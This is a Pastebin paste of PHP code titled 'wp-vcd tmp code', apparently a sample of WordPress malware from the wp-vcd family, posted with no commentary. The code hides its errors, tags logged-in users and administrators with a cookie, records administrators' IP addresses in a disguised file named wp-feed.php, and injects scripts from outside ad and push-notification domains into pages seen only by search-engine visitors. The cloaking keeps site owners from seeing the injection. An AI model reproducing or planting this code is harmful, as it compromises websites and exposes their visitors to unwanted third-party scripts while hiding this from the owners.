SHARE
TWEET

wp-vcd tmp code

a guest Mar 28th, 2019 250 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ini_set('display_errors', 0);
  2. error_reporting(0);
  3. $wp_auth_key='71e0917771bea14558257cae1b85eb0f';
  4. if ( ! function_exists( 'slider_option' ) ) {  
  5. function slider_option($content){
  6. if(is_single())
  7. {
  8. $con = '
  9. ';
  10. $con2 = '
  11. <script type="text/javascript" src="//dolohen.com/apu.php?zoneid=2285981"></script>
  12. <script src="//pushmono.com/ntfc.php?p=2285983" data-cfasync="false" async></script>
  13. ';
  14. $content=$content.$con2;
  15. }
  16. return $content;
  17. }
  18. function slider_option_footer(){
  19. if(!is_single())
  20. {
  21. $con2 = '
  22. <script type="text/javascript" src="//dolohen.com/apu.php?zoneid=2285981"></script>
  23. <script src="//pushmono.com/ntfc.php?p=2285983" data-cfasync="false" async></script>
  24. ';
  25. echo $con2;
  26. }
  27. }
  28. function setting_my_first_cookie() {
  29.   setcookie( 'wordpress_cf_adm_use_adm',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
  30.   }
  31.  
  32. if(is_user_logged_in())
  33. {
  34. add_action( 'init', 'setting_my_first_cookie',1 );
  35. }
  36. if( current_user_can('edit_others_pages'))
  37. {
  38. if (file_exists(ABSPATH.'wp-includes/wp-feed.php'))
  39. {
  40. $ip=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
  41. }
  42. if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false)
  43. {
  44. $ip.=$_SERVER['REMOTE_ADDR'].'
  45. ';
  46. @file_put_contents(ABSPATH.'wp-includes/wp-feed.php',$ip);
  47. }
  48. }
  49. $ref = $_SERVER['HTTP_REFERER'];
  50. $SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
  51. foreach ($SE as $source) {
  52.   if (strpos($ref,$source)!==false) {
  53.     setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
  54.     $sevisitor=true;
  55.   }
  56. }
  57. if(!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in())
  58. {
  59. $adtxt=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
  60. if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false)
  61. {
  62. if($sevisitor==true || isset($_COOKIE['sevisitor']))
  63. {
  64. add_filter('the_content','slider_option');
  65. add_action('wp_footer','slider_option_footer');
  66. }
  67. }
  68. }
  69. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top